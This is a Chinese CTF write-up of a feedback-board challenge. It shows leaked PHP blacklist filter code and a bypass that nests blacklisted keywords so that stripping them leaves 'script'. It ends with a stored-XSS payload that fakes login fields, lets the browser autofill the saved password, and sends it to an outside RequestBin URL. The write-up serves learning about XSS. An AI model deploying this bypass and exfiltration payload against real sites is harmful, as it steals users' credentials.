放假后的第一个题目,感觉思维有点跟不上了,应该还是自己太菜
随机登录一个账号进去,看到提示说不能注入,那我偏要试试
可以看到Feedback是一个留言板,然后List会显示留言的内容,感觉像是二次注入,不管了先试试
12!@#$%^&*()__{}|":<>?select union
先将符号全部留言一遍
可以发现还是存在着一些过滤的
发现输入了1^1并没有执行,可能一开始只是显示一下,并没有存入数据库呢?于是赶紧再尝试一个列子观察输入的1^1是否会被SQL语句执行出来
结果发现依然没有……只能看看别的地方了,一开始提示到源码泄露
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
发现黑名单都是js的内容,于是这时候有一个念头冒出来了,是不是可能是XSS?之前见过几次但是很生,没怎么做过,于是尝试着在留言框输入一个
<scriphostt>alert(1);</scriphostt>
这样写的原因是因为script被过滤掉了,但是经过测试可以利用黑名单为空来进行绕过
输入scriphostt
过滤取空后就会变为 script
实现成功
但是不知道flag在哪里啊,经过查找可以发现在登录见面有一个源码js
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');#以;为标志切分cookie,分类
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');#以=为标志切分cookies,键值分开
var key = arr[0];#键
cookie[key] = arr[1];#值
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
根据所写注释可以知道js内容就是一个保存密码的机制
我们要获得的秘密就在 document.getElementsByName("password")[0].value里面
但是要怎么获得呢,只能看wp了,我的能力只能到此了
根据许多大佬的博客总结,这里利用到了一个XSS平台,他会给你一个url,然后会收集所有对于该url请求的报文分析RequestBin — Collect, inspect and debug HTTP requests and webhooks
根据F12对于登录框的分析
我们可以自己伪造一个简易的登录框,这里注意input也被过滤了,因此可以任意用一个黑名单元素来进行取空进行绕过
这里不要忘了要加上
否则密码没进去
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1hz5nj21/?a="+psw;
</scrcookieipt>
将密码发到平台所给网址上面
等一会儿就可以看到请求